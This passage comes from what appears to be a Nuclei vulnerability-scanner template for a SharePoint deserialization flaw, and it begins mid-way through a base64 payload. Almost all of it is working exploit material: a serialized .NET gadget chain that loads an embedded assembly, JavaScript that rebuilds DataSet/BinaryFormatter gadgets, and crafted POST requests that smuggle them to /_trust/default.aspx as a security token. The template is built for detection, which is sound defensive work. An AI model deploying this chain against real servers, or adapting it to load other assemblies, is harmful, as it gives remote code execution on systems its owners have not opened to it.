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IAaQBnAGgAdAAAACAAAABEAA0AAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAagBsAGEAbgBlAGEAZgBpAC4AZABsAGwAAAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMAAuADAALgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAAIDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABA8AAAAfU3lzdGVtLlVuaXR5U2VyaWFsaXphdGlvbkhvbGRlcgMAAAAERGF0YQlVbml0eVR5cGUMQXNzZW1ibHlOYW1lAQABCAYhAAAA/gFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAGIgAAAEtTeXN0ZW0uQ29yZSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQEAAAAAcAAAAJAwAAAAoJJAAAAAoICAAAAAAKCAgBAAAAAREAAAAPAAAABiUAAAD1AlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQEgAAAAcAAAAJBAAAAAoJKAAAAAoICAAAAAAKCAgBAAAAARMAAAAPAAAABikAAADfA1N5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkiAAAAEBQAAAAHAAAACQUAAAAKCSwAAAAKCAgAAAAACggIAQAAAAEVAAAADwAAAAYtAAAA5gJTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkiAAAAEBYAAAAHAAAACQYAAAAJMAAAAAkxAAAACggIAAAAAAoICAEAAAABFwAAAA8AAAAGMgAAAO8BU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQGAAAAAcAAAAJBwAAAAoJNQAAAAoICAAAAAAKCAgBAAAAARkAAAAPAAAABjYAAAApU3lzdGVtLldlYi5VSS5XZWJDb250cm9scy5QYWdlZERhdGFTb3VyY2UEAAAABjcAAABKU3lzdGVtLldlYixWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EQGgAAAAcAAAAJCAAAAAgIAAAAAAgICgAAAAgBAAgBAAgBAAgIAAAAAAEbAAAADwAAAAY5AAAAKVN5c3RlbS5Db21wb25lbnRNb2RlbC5EZXNpZ24uRGVzaWduZXJWZXJiBAAAAAY6AAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQHAAAAAUAAAANAgk7AAAACAgDAAAACQsAAAABHQAAAA8AAAAGPQAAADRTeXN0ZW0uUnVudGltZS5SZW1vdGluZy5DaGFubmVscy5BZ2dyZWdhdGVEaWN0aW9uYXJ5BAAAAAY+AAAACG1zY29ybGliEB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAAA7U3lzdGVtLkZ1bmNgMltbU3lzdGVtLkJ5dGVbXV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XV0JPgAAAAoJPgAAAAZSAAAAGlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5BlMAAAAETG9hZAoEQwAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgYAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpNZW1iZXJUeXBlEEdlbmVyaWNBcmd1bWVudHMBAQEBAAMIDVN5c3RlbS5UeXBlW10JUwAAAAk+AAAACVIAAAAGVgAAACdTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgFEAAAAQgAAAAZXAAAAZVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGVdXV1dCT4AAAAKCT4AAAAJUgAAAAZaAAAACEdldFR5cGVzCgFFAAAAQwAAAAlaAAAACT4AAAAJUgAAAAZdAAAAGFN5c3RlbS5UeXBlW10gR2V0VHlwZXMoKQgAAAAKAUYAAABCAAAABl4AAACCAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlXV1dLFtTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZV1dXV0JPgAAAAoJPgAAAAZgAAAAN1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlXV0GYQAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAlhAAAACT4AAAAJYAAAAAZkAAAARVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3IoKQgAAAAKAUgAAABCAAAABmUAAABZU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGVdXV0sW1N5c3RlbS5Cb29sZWFuXV0JPgAAAAoJPgAAAAZnAAAAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZoAAAACE1vdmVOZXh0CgFJAAAAQwAAAAloAAAACT4AAAAJZwAAAAZrAAAAEkJvb2xlYW4gTW92ZU5leHQoKQgAAAAKAUoAAABCAAAABmwAAABWU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGVdXV0sW1N5c3RlbS5UeXBlXV0JPgAAAAoJPgAAAAZuAAAAN1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlXV0GbwAAAAtnZXRfQ3VycmVudAoBSwAAAEMAAAAJbwAAAAk+AAAACW4AAAAGcgAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGcwAAACxTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uVHlwZV0sW1N5c3RlbS5PYmplY3RdXQk+AAAACgk+AAAABnUAAAAQU3lzdGVtLkFjdGl2YXRvcgZ2AAAADkNyZWF0ZUluc3RhbmNlCgFNAAAAQwAAAAl2AAAACT4AAAAJdQAAAAZ5AAAAKVN5c3RlbS5PYmplY3QgQ3JlYXRlSW5zdGFuY2UoU3lzdGVtLlR5cGUpCAAAAAoBTgAAAA8AAAAGegAAACZTeXN0ZW0uQ29tcG9uZW50TW9kZWwuRGVzaWduLkNvbW1hbmRJRAQAAAAJOgAAABBPAAAAAgAAAAl8AAAACAgAIAAABHwAAAALU3lzdGVtLkd1aWQLAAAAAl9hAl9iAl9jAl9kAl9lAl9mAl9nAl9oAl9pAl9qAl9rAAAAAAAAAAAAAAAIBwcCAgICAgICAhMT0nTuKtERi/sAoMkPJvcL'\n\nflow: javascript() && http(1) && http(2)\n\njavascript:\n  - code: |\n        const bytess = require(\"nuclei/bytes\");\n\n        function u8(arr) { return new Uint8Array(arr); }\n\n        function strToBuf(str) {\n          var b = new bytess.Buffer();\n          b.WriteString(str);\n          return b;\n        }\n\n        function encode7BitInt(n) {\n          if (n === 0) return new bytess.Buffer(u8([0]));\n          var tmp = [];\n          while (n > 0) {\n            var v = n & 0x7F;\n            n >>>= 7;\n            if (n > 0) v |= 0x80;\n            tmp.push(v);\n          }\n          return new bytess.Buffer(u8(tmp));\n        }\n\n        function replaceAllBytes(hay, needle, repl) {\n          var H = hay.Bytes();\n          var N = needle.Bytes();\n          var out = new bytess.Buffer();\n          for (var i = 0; i < H.length;) {\n            var match = true;\n            for (var j = 0; j < N.length; j++) {\n              if (i + j >= H.length || H[i + j] !== N[j]) { match = false; break; }\n            }\n            if (match) {\n              out.Write(repl.Bytes());\n              i += N.length;\n            } else {\n              out.Write(u8([H[i]]));\n              i++;\n            }\n          }\n          return out;\n        }\n\n        function rawDeflateStored(data) {\n          var bytes = data.Bytes();\n          var maxBlock = 65535;\n          var out = new bytess.Buffer();\n          for (var offset = 0; offset < bytes.length; offset += maxBlock) {\n            var blockSize = Math.min(bytes.length - offset, maxBlock);\n            var isLast = (offset + blockSize >= bytes.length) ? 1 : 0;\n            // BFINAL|BTYPE(00): for stored block BTYPE=00, first byte = BFINAL (1 bit) | 0 | 0\n            out.Write(u8([isLast]));\n            // LEN (2-byte LE) and NLEN = one's complement of LEN (2-byte LE)\n            var nlen = (~blockSize) & 0xFFFF;\n            out.Write(u8([blockSize & 0xFF, (blockSize >> 8) & 0xFF]));\n            out.Write(u8([nlen & 0xFF, (nlen >> 8) & 0xFF]));\n            out.Write(u8(bytes.slice(offset, offset + blockSize)));\n          }\n          return out;\n        }\n\n        // Build DataSet BinaryFormatter gadget with inner gadget replacing HAX placeholder.\n        // HAX is a 3-byte placeholder inside the DataSet BinaryFormatter binary representing\n        // the base64-encoded inner LosFormatter gadget string. The DataSet gadget decodes the\n        // base64 string and passes the binary to LosFormatter.Deserialize().\n        dataset_gadget_raw = strToBuf(atob(dg));\n        dataset_gadget_raw1 = replaceAllBytes(\n          dataset_gadget_raw,\n          strToBuf(\"HAX\"),\n          strToBuf(ig)\n        );\n        dataset_gadget_raw2 = replaceAllBytes(\n          dataset_gadget_raw,\n          strToBuf(\"HAX\"),\n          strToBuf(ig2)\n        );\n\n        var oldLen = encode7BitInt(9163);\n        var newLen = encode7BitInt(9163 - 7772 + ig.length);\n        var newLen2 = encode7BitInt(9163 - 7772 + ig2.length);\n        dataset_gadget_raw1 = replaceAllBytes(dataset_gadget_raw1, oldLen, newLen);\n        dataset_gadget_raw2 = replaceAllBytes(dataset_gadget_raw2, oldLen, newLen2);\n\n        var deflated1 = rawDeflateStored(dataset_gadget_raw1);\n        var deflated2 = rawDeflateStored(dataset_gadget_raw2);\n\n        (btoa(deflated1.String()) + \":\" + btoa(deflated2.String()))\n\n    args:\n      ig: \"{{internal_gadget_b64}}\"\n      ig2: \"{{internal_gadget2_b64}}\"\n      dg: \"{{dataset_gadget_b64}}\"\n\nhttp:\n  - raw:\n      - |\n        GET /_trust/default.aspx HTTP/1.1\n        Host: {{Hostname}}\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(header), \"microsoftsharepointteamservices\")'\n        internal: true\n\n  - raw:\n      - |\n        POST /_trust/default.aspx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Connection: close\n\n        wa=wsignin1.0&wctx={{url_encode(RootURL + \"/\")}}&wresult={{url_encode(concat('<t:RequestSecurityTokenResponse xmlns:t=\"http://schemas.xmlsoap.org/ws/2005/02/trust\"><t:RequestedSecurityToken><sc:SecurityContextToken xmlns:sc=\"http://schemas.xmlsoap.org/ws/2005/02/sc\"><sc:Identifier>urn:unique-id:securitycontext:nuclei', rand_text_alpha(12), '</sc:Identifier><Cookie xmlns=\"http://schemas.microsoft.com/ws/2006/05/security\">', replace_regex(javascript_response, \":.*\", \"\"), '</Cookie></sc:SecurityContextToken></t:RequestedSecurityToken></t:RequestSecurityTokenResponse>'))}}\n\n      - |\n        POST /_trust/default.aspx HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Connection: close\n\n        wa=wsignin1.0&wctx={{url_encode(RootURL + \"/\")}}&wresult={{url_encode(concat('<t:RequestSecurityTokenResponse xmlns:t=\"http://schemas.xmlsoap.org/ws/2005/02/trust\"><t:RequestedSecurityToken><sc:SecurityContextToken xmlns:sc=\"http://schemas.xmlsoap.org/ws/2005/02/sc\"><sc:Identifier>urn:unique-id:securitycontext:nuclei', rand_text_alpha(12), '</sc:Identifier><Cookie xmlns=\"http://schemas.microsoft.com/ws/2006/05/security\">', replace_regex(javascript_response, \".*:\", \"\"), '</Cookie></sc:SecurityContextToken></t:RequestedSecurityToken></t:RequestSecurityTokenResponse>'))}}\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(header), \"x-nuclei\")'\n# digest: 4a0a00473045022100d7dbe8f2069ad3cb5310d0349cbf88c5fbf8591a0c4c7f7a1b4c7fbb87c0633f022053efb323e1bf1f983f54dc01482177ffcd089a0cd9ae7bc2dc61e901adb01960:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-58644"}